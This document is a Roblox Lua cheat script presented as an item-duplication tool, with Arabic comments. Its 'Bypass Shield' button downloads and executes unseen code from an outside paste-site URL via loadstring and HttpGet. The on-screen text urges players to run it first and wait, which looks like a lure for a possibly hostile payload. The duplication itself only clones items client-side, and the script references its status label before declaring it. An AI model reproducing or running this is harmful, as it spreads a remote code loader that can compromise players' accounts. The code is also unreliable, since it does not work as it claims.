local player = game.Players.LocalPlayer local backpack = player:WaitForChild("Backpack") local character = player.Character or player.CharacterAdded:Wait() local screenGui = Instance.new("ScreenGui", player:WaitForChild("PlayerGui")) screenGui.Name = "DupToolGUI" screenGui.ResetOnSpawn = false local mainFrame = Instance.new("Frame") mainFrame.Size = UDim2.new(0, 280, 0, 310) mainFrame.Position = UDim2.new(0.5, -140, 0.5, -155) mainFrame.BackgroundColor3 = Color3.fromRGB(30, 0, 0) -- أسود غامق يميل للأحمر mainFrame.BorderSizePixel = 0 mainFrame.AnchorPoint = Vector2.new(0.5, 0.5) mainFrame.Active = true mainFrame.Draggable = true mainFrame.Parent = screenGui local corner = Instance.new("UICorner", mainFrame) corner.CornerRadius = UDim.new(0, 15) -- العنوان Dup Tool local title = Instance.new("TextLabel", mainFrame) title.Size = UDim2.new(1, 0, 0, 40) title.Position = UDim2.new(0, 0, 0, 5) title.BackgroundTransparency = 1 title.Font = Enum.Font.GothamBold title.TextSize = 28 title.TextColor3 = Color3.fromRGB(255, 120, 120) title.Text = "Dup Tool" -- خط أفقي تحت العنوان local line = Instance.new("Frame", mainFrame) line.Size = UDim2.new(0.9, 0, 0, 2) line.Position = UDim2.new(0.05, 0, 0, 45) line.BackgroundColor3 = Color3.fromRGB(150, 20, 20) line.BorderSizePixel = 0 -- نصوص ملونة تحت الخط (مرتبة فوق بعض) local texts = { "Click this to bypass protection before using Dup Tool — wait 5 minutes!", "Make sure to press the Bypass Shield button first.", "Then use Duplicate Items to copy your tools safely." } local rainbowLabels = {} for i, txt in ipairs(texts) do local lbl = Instance.new("TextLabel", mainFrame) lbl.Size = UDim2.new(0.9, 0, 0, 20) lbl.Position = UDim2.new(0.05, 0, 0, 50 + (i - 1) * 22) lbl.BackgroundTransparency = 1 lbl.Font = Enum.Font.GothamBold lbl.TextSize = 14 lbl.Text = txt lbl.TextWrapped = true lbl.TextColor3 = Color3.new(1, 1, 1) -- أبيض مؤقتا rainbowLabels[i] = lbl end -- ألوان متغيرة للنصوص الملونة task.spawn(function() while true do for i = 0, 1, 0.01 do local r = math.sin(2 * math.pi * i) * 127 + 128 local g = math.sin(2 * math.pi * i + 2) * 127 + 128 local b = math.sin(2 * math.pi * i + 4) * 127 + 128 for _, lbl in ipairs(rainbowLabels) do lbl.TextColor3 = Color3.fromRGB(r, g, b) end task.wait(0.05) end end end) -- زر Bypass Shield local bypassBtn = Instance.new("TextButton", mainFrame) bypassBtn.Size = UDim2.new(0.9, 0, 0, 40) bypassBtn.Position = UDim2.new(0.05, 0, 0, 115) bypassBtn.Text = "Bypass Shield" bypassBtn.Font = Enum.Font.GothamBold bypassBtn.TextSize = 18 bypassBtn.TextColor3 = Color3.fromRGB(255, 255, 255) bypassBtn.BackgroundColor3 = Color3.fromRGB(220, 30, 50) local cornerBypass = Instance.new("UICorner", bypassBtn) cornerBypass.CornerRadius = UDim.new(0, 12) bypassBtn.MouseButton1Click:Connect(function() local success, err = pcall(function() loadstring(game:HttpGet("https://pastefy.app/glTndpnA/raw"))() end) if success then resultLabel.Text = "Bypass script loaded successfully!" else resultLabel.Text = "Error loading bypass script." warn("Error loading script: " .. tostring(err)) end end) -- زر Duplicate Items local dupBtn = Instance.new("TextButton", mainFrame) dupBtn.Size = UDim2.new(0.9, 0, 0, 40) dupBtn.Position = UDim2.new(0.05, 0, 0, 165) dupBtn.Text = "Duplicate Items" dupBtn.Font = Enum.Font.GothamBold dupBtn.TextSize = 18 dupBtn.TextColor3 = Color3.fromRGB(255, 180, 220) dupBtn.BackgroundColor3 = Color3.fromRGB(190, 0, 90) local cornerDup = Instance.new("UICorner", dupBtn) cornerDup.CornerRadius = UDim.new(0, 12) dupBtn.MouseButton1Click:Connect(function() local tool = character:FindFirstChildOfClass("Tool") if tool then local clone = tool:Clone() clone.Parent = backpack resultLabel.Text = "Duplicated: "..clone.Name else resultLabel.Text = "No tool in hand to duplicate" end end) -- زر Server Hub (ينقلك لسيرفر فاضي) local serverBtn = Instance.new("TextButton", mainFrame) serverBtn.Size = UDim2.new(0.9, 0, 0, 40) serverBtn.Position = UDim2.new(0.05, 0, 0, 215) serverBtn.Text = "Server Hub" serverBtn.Font = Enum.Font.GothamBold serverBtn.TextSize = 18 serverBtn.TextColor3 = Color3.fromRGB(255, 255, 255) serverBtn.BackgroundColor3 = Color3.fromRGB(30, 120, 200) local cornerServer = Instance.new("UICorner", serverBtn) cornerServer.CornerRadius = UDim.new(0, 12) local HttpService = game:GetService("HttpService") local TeleportService = game:GetService("TeleportService") local PlaceID = game.PlaceId serverBtn.MouseButton1Click:Connect(function() resultLabel.Text = "Searching for empty server..." local servers = {} local function getServers(cursor) local url = "https://games.roblox.com/v1/games/"..PlaceID.."/servers/Public?limit=100" if cursor then url = url .. "&cursor=" .. cursor end local success, res = pcall(function() return game:HttpGet(url) end) if success then return HttpService:JSONDecode(res) end return nil end local cursor = nil local found = false while not found do local data = getServers(cursor) if not data then resultLabel.Text = "Failed to get servers." break end for _, server in pairs(data.data) do if server.playing < server.maxPlayers then TeleportService:TeleportToPlaceInstance(PlaceID, server.id, player) found = true break end end cursor = data.nextPageCursor if not cursor then resultLabel.Text = "No empty server found." break end end end) -- نص عرض النتائج local resultLabel = Instance.new("TextLabel", mainFrame) resultLabel.Size = UDim2.new(0.9, 0, 0, 30) resultLabel.Position = UDim2.new(0.05, 0, 0, 270) resultLabel.BackgroundTransparency = 1 resultLabel.Font = Enum.Font.GothamBold resultLabel.TextSize = 15 resultLabel.TextColor3 = Color3.new(1,1,1) resultLabel.Text = "Ready." -- زر فتح/إغلاق الواجهة local toggleBtn = Instance.new("TextButton", screenGui) toggleBtn.Size = UDim2.new(0, 130, 0, 35) toggleBtn.Position = UDim2.new(0, 10, 0, 10) toggleBtn.Text = "Toggle Dup Tool" toggleBtn.Font = Enum.Font.GothamBold toggleBtn.TextSize = 16 toggleBtn.TextColor3 = Color3.new(1,1,1) toggleBtn.BackgroundColor3 = Color3.fromRGB(40, 170, 220) local cornerToggle = Instance.new("UICorner", toggleBtn) cornerToggle.CornerRadius = UDim.new(0, 10) toggleBtn.MouseButton1Click:Connect(function() mainFrame.Visible = not mainFrame.Visible end) mainFrame.Visible = true